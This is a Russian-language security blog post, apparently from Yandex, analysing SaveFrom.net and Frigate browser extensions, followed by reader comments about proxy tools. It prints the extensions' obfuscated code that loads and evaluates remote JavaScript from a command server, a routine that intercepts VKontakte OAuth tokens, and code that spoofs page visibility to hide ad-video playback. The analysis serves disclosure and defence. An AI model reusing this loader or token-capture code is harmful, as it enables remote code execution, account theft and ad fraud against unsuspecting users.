В этом посте мы расскажем о причинах и поделимся с сообществом результатами анализа деятельности расширений. Вы узнаете про тайное воспроизведение видео из онлайн-кинотеатров с целью накрутки просмотров. Увидите фрагмент кода, содержащий механизм для перехвата токенов социальных сетей. Мы покажем, как организована динамическая загрузка и выполнение произвольного кода без обновления расширений.
Предыстория
Некоторое время назад пользователи Яндекс.Браузера стали обращаться в поддержку с жалобами на странный звук, который можно было принять за аудиорекламу. Примеры таких жалоб:
Общение с пользователями помогло нам понять, что источником звука на самом деле была видеореклама. Но странность заключалась в том, что никакое видео в этот момент на экране не воспроизводилось. Сначала мы подумали, что оно проигрывалось в другой открытой вкладке или за пределами видимости, но эта гипотеза не подтвердилась. Начали запрашивать у пользователей дополнительную информацию. В том числе список установленных расширений.
Так мы заметили общий признак: у пострадавших было установлено расширение для загрузки видео от сервиса SaveFrom.net. Начали тестировать. Догадка оказалась верной: отключение расширения отключало и фоновый шум. Затем связались с его разработчиками. Они высказали предположение, что это ошибки конвертера, и внесли исправления. После обновления расширения жалобы на звук прекратились.
Новая история
В ноябре команда антифрода Яндекса заподозрила неладное. Она получила сигнал о том, что кто-то использует аудиторию популярных браузеров для накрутки просмотров видео в онлайн-кинотеатрах. Пользователи видео не видели, потому что оно воспроизводилось в фоне. Тем не менее оно потребляло существенный трафик и перегружало работой вычислительные ресурсы компьютера, поэтому такое поведение нельзя назвать добросовестным.
При этом в поддержку на посторонний звук больше никто не жаловался. Это можно было легко объяснить сознательным исключением аудитории Яндекс.Браузера из целевой. Подобные попытки избежать внимания со стороны нашего антифрода мы уже неоднократно встречали в прошлом при анализе поведения расширений из Chrome Web Store (напомним, что наш браузер поддерживает установку в том числе из этого каталога).
Но всё оказалось куда проще: на этот раз фоновое воспроизведение видео проходило в беззвучном режиме. Вскоре коллеги из Службы информационной безопасности выяснили, что проблема затрагивает не только внешних пользователей нашего браузера, но и даже наших коллег. Так мы получили проблемные ноутбуки для исследования и наконец-то смогли детально разобраться в происходящем.
На проблемных устройствах наших коллег были установлены расширения SaveFrom.net, Frigate Light или Frigate CDN. Источник их установки значения не имел (SaveFrom.net мог быть установлен с сайта, а Frigate — напрямую из каталога Chrome Web Store).
Далее мы поделимся с вами результатами нашего анализа. Приведём фрагменты исходного кода и объясним суть их работы. Начнём с объяснения того, как функциональность может подгружаться в расширение без его обновления, и закончим, собственно, воспроизведением видео на компьютере ничего не подозревающего пользователя.
Динамическая загрузка и выполнение кода
Frigate
(полный код расширения доступен по ссылке)
Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store.
const configUrl = "https://fri-gate.org/config.txt";
initProfiler(configUrl);
function initProfiler(confUrl) {
const { Promise, navigator, setTimeout, chrome: { runtime, extension }, XMLHttpRequest: helper, Math: { floor, random }, String: { fromCharCode }, Object: { assign }, JSON: { parse, stringify }, } = window;
if (!extension || !runtime) {
return;
}
const { reload, id, getBackgroundPage, sendMessage } = runtime;
const k = fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114);
const noop = () => { };
const safePromise = (fn) => (new Promise(fn)).catch(noop);
const checkError = () => runtime.lastError;
const tryCatch = (fn) => { try {
return fn();
}
catch (e) { } };
const wrap = (f, v) => tryCatch(() => f(v));
const debug = (v) => v && safePromise(wrap(Promise[k], v));
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const b64decode = (str) => decodeURIComponent(escape(atob(str)));
const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
const decode = (str) => tryCatch(() => b64decode(str)) || str;
let initializing = false;
let initialized = false;
let config;
const sendBeacon = async () => {
try {
if (initializing || initialized || !navigator.onLine) {
return;
}
initializing = true;
const method0 = "GET";
const method = "POST";
if (!config) {
config = await fetch(confUrl, { method0 })
.then((r) => r.text())
.then(decode)
.then(parse);
}
const { urls = [], delay = 1000 } = config;
//console.log(urls[0]);
if (!urls.length) {
return;
}
await sleep(delay);
const data = {
id,
...runtime.getManifest(),
};
const url = urls[floor(random() * urls.length)];
if (!url) {
return;
}
const promise = new Promise((resolve, reject) => {
const r = assign(new helper(), {
withCredentials: true,
onerror: reject,
ontimeout: reject,
onabort: reject,
onload: () => 200 === r.status ? resolve(r.response) : reject(),
});
r.open(method, url);
r.send(b64encode(stringify(data)));
});
const result = await promise || "";
await sleep(delay);
debug(decode(result));
initialized = true;
}
catch (e) {
}
finally {
initializing = false;
}
};
if (!getBackgroundPage) {
return sendMessage({ type: fromCharCode(248) }, (result) => {
checkError();
debug(result);
});
}
tryCatch(() => getBackgroundPage((bg) => {
if (bg === window) {
setTimeout(reload, 60 * 60 * 1000);
setInterval(sendBeacon, 60 * 1000);
addEventListener("online", sendBeacon);
sendBeacon();
}
}));
}
Этот код совершает запрос по адресу fri-gate.org/config.txt и получает адрес командного сервера для дальнейшей работы. Такое решение позволяет без обновления расширения менять адреса командного сервера, если с ним что-то пошло не так. В момент нашего анализа командным сервером был gatpsstat.com.
Раскодирован в:
{
"attachStacktrace": false,
"delay": 1000,
"urls": ["https://gatpsstat.com/ext/stat"],
"release": 280,
"sampleRate": 15,
"environment": "prod",
"level": "info"
}
Раз в час расширения совершают запрос к командному серверу в обработчик /ext/stat. При первом запросе им выставляется cookie, которая содержит uuid пользователя. Ответ сервера декодируется и попадает в функцию debug(), которая, по сути, является функцией eval() для выполнения JS-кода.
const noop = () => { };
const safePromise = (fn) => (new Promise(fn)).catch(noop);
const checkError = () => runtime.lastError;
const tryCatch = (fn) => { try {
return fn();
}
catch (e) { } };
const wrap = (f, v) => tryCatch(() => f(v));
const debug = (v) => v && safePromise(wrap(Promise[k], v));
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const b64decode = (str) => decodeURIComponent(escape(atob(str)));
const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
const decode = (str) => tryCatch(() => b64decode(str)) || str;
SaveFrom.net
(полный код расширения также доступен по ссылке)
На 19122-й строке файла background.js начинается блок сбора и выполнения кода.
var b, w = c.reload, _ = c.id, S = c.getBackgroundPage, k = c.sendMessage, x = m(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114), O = function() {}, A = function(e) {
var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : O;
try {
return e()
} catch (e) {
return t()
}
}, E = function(e) {
return e && (t = function(e, t) {
return A((function() {
return e(t)
}
))
}(n[x], e),
new n(t).catch((function() {}
)));
var t
}, I = function(e) {
return new n((function(t) {
return a(t, e)
}
))
}, R = function(e) {
return A((function() {
return atob(e.trim())
}
)) || e || ""
}, P = !1, j = !1, T = function() {
Стоит обратить внимание на строку “x = m(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114)”, которая аналогична “fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114)” из расширения Frigate.
Далее идёт большой switch, который ответственен за загрузку и выполнения JS-кода.
switch (t.prev = t.next) {
case 0:
if (t.prev = 0,
!P && !j && r.onLine) {
t.next = 3;
break
}
return t.abrupt("return");
case 3:
if (P = !0,
"GET",
n = "POST",
b) {
t.next = 10;
break
}
return t.next = 9,
Object(u.a)({
url: e,
method: "GET"
}).then((function(e) {
var t = e.body;
return R(t)
}
)).then(v);
case 9:
b = t.sent;
case 10:
if (a = (o = b).urls,
s = void 0 === a ? [] : a,
f = o.delay,
d = void 0 === f ? 1e3 : f,
s.length) {
t.next = 13;
break
}
return t.abrupt("return");
case 13:
return t.next = 15,
I(d);
case 15:
if (g = l({
id: _
}, c.getManifest()),
w = s[h(p() * s.length)]) {
t.next = 19;
break
}
return t.abrupt("return");
case 19:
return S = function(e) {
return btoa(encodeURIComponent(e).replace(/%([0-9A-F]{2})/g, (function(e, t) {
return m(parseInt(t, 16))
}
)))
}
,
k = Object(u.a)({
method: n,
url: w,
data: S(y(g))
}).then((function(e) {
if (200 !== e.statusCode)
throw new Error;
return R(e.body)
}
)),
t.next = 23,
k;
case 23:
return x = t.sent,
t.next = 26,
I(d);
case 26:
E(x),
j = !0,
t.next = 32;
break;
case 30:
t.prev = 30,
t.t0 = t.catch(0);
case 32:
return t.prev = 32,
P = !1,
t.finish(32);
case 35:
case "end":
return t.stop()
}
По блокам выполнение происходит так:
- 3-10: получение адреса командного сервера с sf-helper.com/static/ffmpegSignature. В нашем случае это опять gatpsstat.com/. Вот это совпадение!
- 15: получение манифеста приложения.
- 19: кодирование манифеста в base64, его отправка, регистрация хендлера.
- После получение ответа происходит обработка функцией R, которая снимает base64.
- 23: результат R сохраняется в x.
- 26: происходит вызов E(x), который выполняет JS-код.
Раскодирован в:
{
"attachStacktrace": false,
"delay": 1000,
"urls": ["https://gatpsstat.com/ext/stat"],
"release": 280,
"sampleRate": 15,
"environment": "prod",
"level": "info"
}
Одинаковая часть для всех расширений
/ext/stat
Итак, все рассматриваемые расширения имеют возможность динамически выполнять JS-код, который они получают раз в час из обработчика /ext/stat. Этот JS-код в разные моменты времени может быть любым, сколь угодно опасным. Скрытое воспроизведение видео может быть лишь одним из множества возможных симптомов. Но поймать (и задокументировать) подобные симптомы не так-то и просто. Поначалу мы пытались дампить трафик через функциональность браузера, но это не приносило результатов. Даже начали сомневаться, что выбрали правильный путь. Обратились к более медленному, но надёжному варианту: завернули весь трафик через Burp Suite (это такая платформа для анализа безопасности веб-приложений, которая, среди прочего, позволяет перехватывать трафик между приложением и браузером).
Вскоре детальный анализ трафика принёс плоды. Оказалось, что наши предыдущие попытки получить правильный ответ были неуспешны из-за конфига dangerRules. Он содержал список адресов, после посещения которых потенциально опасная деятельность прекращалась.
{"updateUri":"/ext/up","dataUri":"/ext/data","version":"1961","hash":"e3e03a744b6ff019c74ad9a714579ab3","timestampMS":1606678312460,"clientId":"4016cb52-df6b-495e-b2a3-49a013eef28b","endpoint":"http://gatpsstat.com","ttlSec":3600,"defs":[{"id":1,"type":"core","options":{"url":"/ext/def"}},{"id":2,"type":"dt","options":[]},{"id":3,"type":"bl","options":{"rules":["^chrome://extensions"],"dangerRules":["^chrome://[^/]*-internals","^chrome://net-","^chrome://network-","^chrome://tracing","^https?://installs.pro","^https?://admon.pro","^https?://log.admon.pro","^https?://installmonster.ru","^https?://browser.yandex.ru/help/support/support.html","^https?://browser.yandex.ru/feedback/","^https?://savefrom.userecho.com/communities/1-savefromru/topics","^https?://addons.opera.com/en-gb/extensions/details/savefromnet-helper/","^https?://bugs.opera.com/wizard/","^https?://help.opera.com/en/computer-bug-wizard/","^https?://chrome.google.com/webstore/detail/frigate-light/mdnmhbnbebabimcjggckeoibchhckemm"]}}],"sentry":{"ignoreErrors":["Unexpected token G in JSON at position 0","Extension context invalidated"],"enabled":false,"debug":false,"release":"1961","environment":"stack"}}
Обратите внимание: сомнительная активность прекращалась, если пользователь открывал адрес поддержки Яндекс.Браузера или служебную страницу для анализа трафика. Хитро!
Расследование продолжилось. Предстояло разобраться с обработчиком /ext/up, которому и передавался конфиг. Его ответ был сжат и зашифрован, а код обфусцирован. Но это нас не остановило.
/ext/up
Ещё один обработчик с исполняемым кодом. Его ответ маскируется под GIF-картинку.
Расшифрованный ответ содержит JSON с тремя кусками кода. Названия блоков намекают на контекст исполнения кода: bg.js (применяется на фоновой странице расширения), page.js (используется для инъекций в просматриваемые страницы), entry_point.js (код, который отдаётся на /ext/stat).
bg.js и page.js умеют получать и внедрять в страницы iframe с video для показа рекламы. Кроме того, bg.js имеет функциональность, которая может использоваться для перехвата oAuth-токенов сервиса ВКонтакте. Мы не можем однозначно утверждать, что этот механизм в реальности использовался, но он присутствует в коде, поэтому мы рекомендуем отозвать токены для vk.com.
async vkt(e) {
const {
core: {
state: t,
webRequestManager: {
onBeforeRedirect: s
}
},
options: {
oauth: r
}
} = this;
if (!r || !e) return;
const n = (await In.get("https://oauth.vk.com/authorize", r).then(e => e.text())).match(/[^"]+\?act=grant_access&[^"]+/),
i = n && n[0];
if (!i) return;
const o = new ze,
a = e => {
const {
details: {
url: t,
redirectUrl: r
}
} = e;
if (t !== i) return;
const n = r.match(/#access_token=([a-z0-9]+)/),
c = n && n[1];
o.resolve(c), s.removeListener(a)
};
s.addListener(a), await In.get(i);
const c = await o;
c && (await t.set("vkt", c), this.pushData({
id: e,
token: c
}))
}
Кроме того, в bg.js мы видим код, который подменяет браузерный API, чтобы просмотры засчитывались даже при скрытом видео.
class Ci extends mi {
patch(e) {
var t;
const s = e.Document.prototype;
for (const e of ["hidden", "webkitHidden"]) Js.getter(s, e, () => !1);
for (const e of ["visibilityState", "webkitVisibilityState"]) Js.getter(s, e, () => "visible");
Js.method(s, "hasFocus", () => !0), Js.getter(e, "outerWidth", () => e.innerWidth), Js.getter(e, "outerHeight", () => e.innerHeight);
const r = "availTop" in e.screen ? null !== (t = Reflect.get(e.screen, "availTop")) && void 0 !== t ? t : 0 : void 0;
Js.getter(e, "screenY", () => null != r ? r : e.screenY), Js.getter(e, "screenTop", () => null != r ? r : e.screenTop)
}
}
/ext/def
Предположительно, этот обработчик отвечает за отдачу списка текущих заданий для открутки видео. Запрос клиента и ответ сервера сжаты и зашифрованы на ключе из параметра hk.
[
"*://*.utraff.com/*",
"*://*.lookmeet.tv/*",
"*://*.videout.ru/*",
"*://*.buzzoola.com/*",
"*://*.vihub.ru/*",
"*://*.betweendigital.com/*",
"*://*.tvigle.ru/*",
"*://*.megogo.ru/*",
"*://*.megogo.net/*",
"*://*.fqtag.com/*",
"*://*.instreamvideo.ru/*",
"*://*.videoroll.net/*",
"*://*.fresh-video.com/*",
"*://playreplay.me/*"
],
.......
{
"id": 368,
"type": "gb",
"options": {
"blacklist": [
"*://an.yandex.ru/meta/*",
"*://an.yandex.ru/jserr/*",
"*://an.yandex.ru/jstracer"
]
}
}
],
"dup": false
}
В результате выполнения выданного задания видно, что браузер открывает видеоплеер и включает в нём видео. При этом сам видеоплеер не виден пользователю и действие происходит скрытно.
/ext/beacon
Отчёт о выполнении задания расширение отправляет на /ext/beacon. С уже знакомым нам сжатием и шифрованием.
{
"pageId": "QYJZMN",
"tabId": -1,
"frameId": 1580,
"origin": "https://kinorole.ru",
"url": "https://kinorole.ru/robots.txt"
}
},
{
"scriptId": 193,
"timestamp": 1606678594,
"type": "stat",
"version": "1961",
"payload": {
"type": "etab",
"key": "player_load"
},
"env": {
"world": "ext",
"pageId": "MTJKAC",
"tabId": -1,
"frameId": 1581,
"origin": "https://kinorole.ru",
"url": "https://kinorole.ru/film/_hodjachie-mertveci?v=3&utm_source=mbac&utm_campaign=193"
}
}
]
}
}
Краткий пересказ того, что делают расширения
Повторим ещё раз всё то же самое, но кратко.
- Расширения запрашивают с сервера конфиг, в котором содержится адрес другого, командного сервера с обработчиком /ext/stat .
- Обработчик /ext/stat присваивает уникальный uuid пользователю.
- Каждый час расширения совершают запрос на адрес /ext/stat и исполняют код, полученный в ответе.
- Скрипт с /ext/stat совершает запрос на /ext/up, получает сжатый основной код для выполнения cкрипта.
- Выполнение скрипта с /ext/up может активировать функциональность перехвата access_token'ов ВКонтакте при их получении пользователем. Перехваченные токены могут отправляться на /ext/data.
- Скрипт с /ext/up получает список заданий с /ext/def. Запрос и ответ шифруются на ключе, переданном в параметре hk.
- Видео с рекламой воспроизводится в браузере втайне от пользователя.
- Отправляется отчёт на /ext/beacon.
Это то, как выглядит работа расширений, если смотреть на их код и трафик. Но полезно взглянуть на проблему и со стороны пользователей, поэтому за спойлером вас ждёт подборка отзывов из Chrome Web Store.
Принятые нами меры
Мы считаем описанное поведение потенциально опасным и недобросовестным, поэтому приняли решение отключить в Яндекс.Браузере уже установленные копии расширений SaveFrom.net, Frigate Light, Frigate CDN и некоторых других. Пользователи этих расширений получат уведомление, в котором мы расскажем о причинах отключения. После этого они смогут принять осознанное решение и при необходимости включить их вновь (хотя мы настоятельно рекомендуем так не поступать).
Кроме того, мы передали результаты нашего технического анализа коллегам из «Лаборатории Касперского» и Google. В «Лаборатории Касперского» уже подтвердили наличие потенциально вредоносной составляющей в расширениях, теперь продукты компании детектируют эту угрозу и блокируют связанные с ней URL-адреса и фрагменты скриптов.
Также в ходе исследования было обнаружено более двух десятков менее популярных браузерных расширений, использующих аналогичный код. Их мы также отключаем. Мы призываем экспертов присоединиться к поиску и других потенциально опасных расширений. Результаты можно присылать через форму. Вместе мы сможем побороть эту угрозу.
oobppndjaabcidladjeehddkgkccfcpn
aonedlchkbicmhepimiahfalheedjgbh
aoeacblfmdamdejeiaepojbhohhkmkjh
eoeoincjhpflnpdaiemgbboknhkblome
onbkopaoemachfglhlpomhbpofepfpom
inlgdellfblpplcogjfedlhjnpgafnia
ejfajpmpabphhkcacijnhggimhelopfg
pgjndpcilbcanlnhhjmhjalilcmoicjc
napifgkjbjeodgmfjmgncljmnmdefpbf
glgemekgfjppocilabhlcbngobillcgf
klmjcelobglnhnbfpmlbgnoeippfhhil
ldbfffpdfgghehkkckifnjhoncdgjkib
mbacbcfdfaapbcnlnbmciiaakomhkbkb
mdnmhbnbebabimcjggckeoibchhckemm
lfedlgnabjompjngkpddclhgcmeklana
mdpljndcmbeikfnlflcggaipgnhiedbl
npdpplbicnmpoigidfdjadamgfkilaak
ibehiiilehaakkhkigckfjfknboalpbe
lalpacfpfnobgdkbbpggecolckiffhoi
hdbipekpdpggjaipompnomhccfemaljm
gfjocjagfinihkkaahliainflifnlnfc
ickfamnaffmfjgecbbnhecdnmjknblic
bmcnncbmipphlkdmgfbipbanmmfdamkd
miejmllodobdobgjbeonandkjhnhpjbn
AndreyYu
Список id отключенных расширений:
acdfdofofabmipgcolilkfhnpoclgpdd — VDP: Best Video Downloader
oobppndjaabcidladjeehddkgkccfcpn — Y2Mate — Video Downloader
aonedlchkbicmhepimiahfalheedjgbh — Помощник
aoeacblfmdamdejeiaepojbhohhkmkjh — RadioGaGa
eoeoincjhpflnpdaiemgbboknhkblome — x3
onbkopaoemachfglhlpomhbpofepfpom — x3
inlgdellfblpplcogjfedlhjnpgafnia — x3
ejfajpmpabphhkcacijnhggimhelopfg — x3
pgjndpcilbcanlnhhjmhjalilcmoicjc — x3
napifgkjbjeodgmfjmgncljmnmdefpbf — x3
glgemekgfjppocilabhlcbngobillcgf — x3
klmjcelobglnhnbfpmlbgnoeippfhhil — x3
ldbfffpdfgghehkkckifnjhoncdgjkib — x3
mbacbcfdfaapbcnlnbmciiaakomhkbkb — friGate CDN
mdnmhbnbebabimcjggckeoibchhckemm — friGate Light
lfedlgnabjompjngkpddclhgcmeklana — SaveFrom.net помощник
mdpljndcmbeikfnlflcggaipgnhiedbl — x3
npdpplbicnmpoigidfdjadamgfkilaak — x3
ibehiiilehaakkhkigckfjfknboalpbe — x3
lalpacfpfnobgdkbbpggecolckiffhoi — x3
hdbipekpdpggjaipompnomhccfemaljm — friGate3 proxy helper
gfjocjagfinihkkaahliainflifnlnfc — x3
ickfamnaffmfjgecbbnhecdnmjknblic — x3
bmcnncbmipphlkdmgfbipbanmmfdamkd — x3
miejmllodobdobgjbeonandkjhnhpjbn — x3
х3 — не находится в Chrome Web Store
kukutz
Не совсем так, некоторые из них там есть, просто надо не поиском пользоваться, а подставлять ID: chrome.google.com/webstore/detail/coupons-at-checkout/onbkopaoemachfglhlpomhbpofepfpom?hl=ru
Некоторые из Opera Store, некоторые уже удалены из обоих сторов.
AndreyYu
Все что описаны, находятся в Chrome Web Store. поиск через ID и осуществлялся.
kukutz
Ну я привел вам пример того, про который вы написали «х3», но который есть в Chrome Web Store. Он такой не один.
AndreyYu
Странно, да, действительно, через поиск не находится
vism
вот блин
friGate3 proxy helper удобен…
Сообщество, что вы используете для удобного включения прокси для определённых сайтов?
Virgo_Style
HandyCache, но это не расширение, а отдельный прокси с возможностью использования внешних прокси по заданным условиям.
jryj
SwitchyOmega правда он для FF
Coolmax
Почему же? Он у меня в Chrome несколько лет прекрасно работает.
vism
есть под хром. И кажется это удобно. Можно отдельные сайты(заблокированные) гнать через прокси, а остальные «direct»
ProRunner
friGate CDN мне ещё нравился, что там ещё автоматом подключается поддержка .onion сайтов. Есть ещё подобные расширения, кто-то использует?
vikarti
А надо расширения?
Tor полноценно поднятый на хоумсервере в виртуалке
+.pac файл где сказано что на .onion — ходить через Tor
AlexNoo
Ещё бы подробнее найти что-то хоть про написание pac-ов. То работает, то нет. В Опере Блинк свежей, например.
vikarti
developer.mozilla.org/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file
AlexNoo
Да я уже разное про него смотрел, и примеры разные изучал. Но проблема в том, что много вообще неясного вокруг них. Например, что надо сделать в Опере Престо, чтобы применилось изменение pac-а. Или вот, в свежей Опере Блинк просто не работает, и всё. И как назло, все примеры очень разные, в одном одно используют, в другом другое.
Zverienish
А потом friGate сливает небось куда вы ходите. Смысл этого.
ahiMNix
Смысл есть.
Например обойти локальные блокировки.
Zverienish
Есть тор, есть опера с впн. Пользоваться расширениями, которые явно будут делать мутное что-то, чтобы монетизироваться.
Carburn
А прокси где взять?
Xazzzi
proxy switchy omega есть и под хром
Redrik_Shuhart
warp от cloudflare
navion
Не работает на Windows 8.1.
Bonio
FoxyProxy
Xobotun
Поддерживает запароленный Socks5, в отличие от хрома, да.
Vilgelm
На Хромиуме (Хроме) не поддерживает. Есть только одно расширение, которое поддерживает это на Хромиуме, но оно умеет работать только с одним прокси.
PTM
Tor bundle ( установлен как сервис) + foxyproxy
u007
Browsec? Правда, автоматом включается только на одном избранном сайте.
GDragon
Я возможно не совсем по теме (всё таки речь больше о Chrome-based браузерах) но фригейт был и на используемой мной мозилле, как его замену я использую github.com/salarcode/SmartProxy (есть и для хрома)).
Единственное что прокси надо самому искать, но с фригейта я в своё время потому и слез что пред-настроенные прокси пропали.
vism
вот в этом и дело. прокси приходится менять вручную и я не нашел такого, где автоматом.
SwitchyOmega тоже надо прокси ставить вручную :(
фригейт прокси стабильно работал(работает) в этом плане :)
Vilgelm
В FoxyProxy можно писать правила для каждого прокси, делать black и white листы сайтов
Tyusha
Теперь вы знаете, в каком месте расширение Frigate его надо сломать, чтобы оно не вредило. Сделайте из него свой userscript, оставив только хорошее.
vism
Тут всё же надо знать где и что меня. Или разобраться, на что уйдет пару часов точно:)
А потом еще разбираться как его выложить для всех и т.п. Тоже фиг знает сколько времени.
А вот если кто-то, кто в этом уже разбирается пересоберёт Frigate и выложит, было бы здорово:)
Серьезно, если это просто, подскажите как это делается по шагам. Я бы пересобрал friGate3 proxy helper, но вот как выложить уже не знаю, да и наверное это будет нарушением авторских прав на оригинальный код
Tyusha
1). Проще всего надо найти место с URL конфигуратора и похерить. Вряд-ли это приведёт к потере легальной функциональности.
2). Я имела ввиду, что это можно на раз-два сделать для себя до точно хотя бы.
unwrecker
Штатный функционал: автоконфигурация прокси через pac-файл. Сам файл беру с antizapret.info — там уже прописана логика включения, и прописываю в нём свой прокси.
AlexNoo
Готовый — это же не спортивно! Надо самому написать его. :-)
Vilgelm
FoxyProxy, он хоть устарел и импорт\экспорт поломался, но до сих пор работает.
gdt
Да, FriGate очень удобная штука (была). Для себя выяснил, что единственный заблокированный сайт, на который приходится заходить время от времени — это r*tracker, который имеет собственное расширение. В остальных случаях использую VPN.
hzs
Browsec
Black_and_green
'Обход блокировок Рунета' — очень хорошее расширение, умеет работать, как со встроенным прокси, так и своими socks|http-прокси и локальным tor (можно установить, как сервис в windows)
mellon37
Proxy SwitchyOmega
в нем можно PAC профиль создать с адресом РАС загрузкой локально и обновлением.
то есть тот же самый антизапрет будет у тебя новый храниться локально обновляться и управлять перенаправлением запросов
anonymous
github.com/anticensority/runet-censorship-bypass/wiki
intender
FastProxy
ValdikSS
Уж что-что, а в FastProxy использовался самый очевидный для разбирающихся в jquery метод исполнения загруженного кода, но совершенно не очевидный для людей, не часто пользующихся jquery.
Разработчик FastProxy какое-то время использовал прокси-серверы АнтиЗапрета, без разрешения проекта, и заменял страницу с ошибкой открытия сайта на свой текст. Я включил в страницу ошибки MutationObserver и переадресовывал пользователей на вот эту страницу:
antizapret.prostovpn.org/fastproxy-warn
intender
mester пишет: на фоне хромовской версии, фаерфокс версия вообще полностью безопасна
Фух, я в firefox им и пользуюсь.
Oxyd
FoxyProxy и в лисе и в хромообразных.
ValdikSS
См. habr.com/ru/company/yandex/blog/534586/#comment_22469840
SkyHunter
Avira Phantom VPN
z3apa3a
Использую PAC-файл, никаких дополнительных расширений при этом не требуется. Работает в любом браузере. Прописывается как URL автоконфигурации в настройках прокси, для Window URL выглядит примерно так:
file:///c:/путь/proxy.pac
сам файл:
function FindProxyForURL(url, host)
{
var domains = [
"visualwebsiteoptimizer.com",
"amazonaws.com",
"tribl.io",
"olark.com",
"linkedin.com",
"archive.org",
"telegram.org",
"telegram.me",
"t.me",
"slideshare.net",
"lurkmore.to",
"upyachka.io",
"protonmail.com",
"anonfiles.com"
];
var len = domains.length, i;
if(isInNet(dnsResolve(host), "5.3.3.0", "255.255.255.0")) return "PROXY proxy.example.ru:3128"; /* обнаруживает блокировку DNS'ом в domru */
for(i=0; i<len; i++) if(dnsDomainIs(host,domains[i])) {
/*
if(isInNet(myIpAddress(), "192.168.0.0", "255.255.255.0")) return "PROXY 192.168.0.2:3128";
else
- можно выбирать в завимости от сети, к которой производилось подключение
*/
return "PROXY proxy.example.ru:3128";
}
return "DIRECT";
}
SergeyDeryabin
Простенький VDS например vultr (Германия) или timeweb (Россия) +
— github.com/jawj/IKEv2-setup
— github.com/kylemanna/docker-openvpn
asm0dey
FoxyProxy
Dee3
Спасибо тебе мил человек. Не понятно что мешало это сделать ребятам из Яндекса
Carburn
gfjocjagfinihkkaahliainflifnlnfc — скачать-музыку-c-vk
Остальные — download.master, savefrom.net и frigate (помимо Автоматическое применение купонов
).
AlexNoo
И чем же дополнение DownloadMaster-а заменить??
anton21m
Продолжим расшифровку
acdfdofofabmipgcolilkfhnpoclgpdd — VDP: Best Video Downloader
oobppndjaabcidladjeehddkgkccfcpn — Y2Mate — Video Downloader
aonedlchkbicmhepimiahfalheedjgbh — Помощник
aoeacblfmdamdejeiaepojbhohhkmkjh — RadioGaGa
eoeoincjhpflnpdaiemgbboknhkblome — Автоматическое применение купонов(https://savematik.com)
onbkopaoemachfglhlpomhbpofepfpom — Автоматическое применение купонов (Автор: shopscoupons.fr)
inlgdellfblpplcogjfedlhjnpgafnia — Автоматическое применение купонов (Автор: shopscoupons.br)
ejfajpmpabphhkcacijnhggimhelopfg — Автоматическое применение купонов (Автор: caa.newstore)
pgjndpcilbcanlnhhjmhjalilcmoicjc — Автоматическое применение купонов (Автор: frcouponsapp)
napifgkjbjeodgmfjmgncljmnmdefpbf — Автоматическое применение купонов (Автор: frcouponsapp)
glgemekgfjppocilabhlcbngobillcgf — Автоматическое применение купонов (Автор: couponsatcheck)
klmjcelobglnhnbfpmlbgnoeippfhhil — Автоматическое применение купонов (Автор: shopscoupons.store)
ldbfffpdfgghehkkckifnjhoncdgjkib — Автоматическое применение купонов (Автор: sh.coupons.fr)
mbacbcfdfaapbcnlnbmciiaakomhkbkb — friGate CDN
mdnmhbnbebabimcjggckeoibchhckemm — friGate Light
lfedlgnabjompjngkpddclhgcmeklana — SaveFrom.net помощник
mdpljndcmbeikfnlflcggaipgnhiedbl — УДАЛЕНО
npdpplbicnmpoigidfdjadamgfkilaak — УДАЛЕНО
ibehiiilehaakkhkigckfjfknboalpbe — УДАЛЕНО
lalpacfpfnobgdkbbpggecolckiffhoi — УДАЛЕНО
hdbipekpdpggjaipompnomhccfemaljm — friGate3 proxy helper
gfjocjagfinihkkaahliainflifnlnfc — УДАЛЕНО
ickfamnaffmfjgecbbnhecdnmjknblic — УДАЛЕНО
bmcnncbmipphlkdmgfbipbanmmfdamkd — УДАЛЕНО
miejmllodobdobgjbeonandkjhnhpjbn — УДАЛЕНО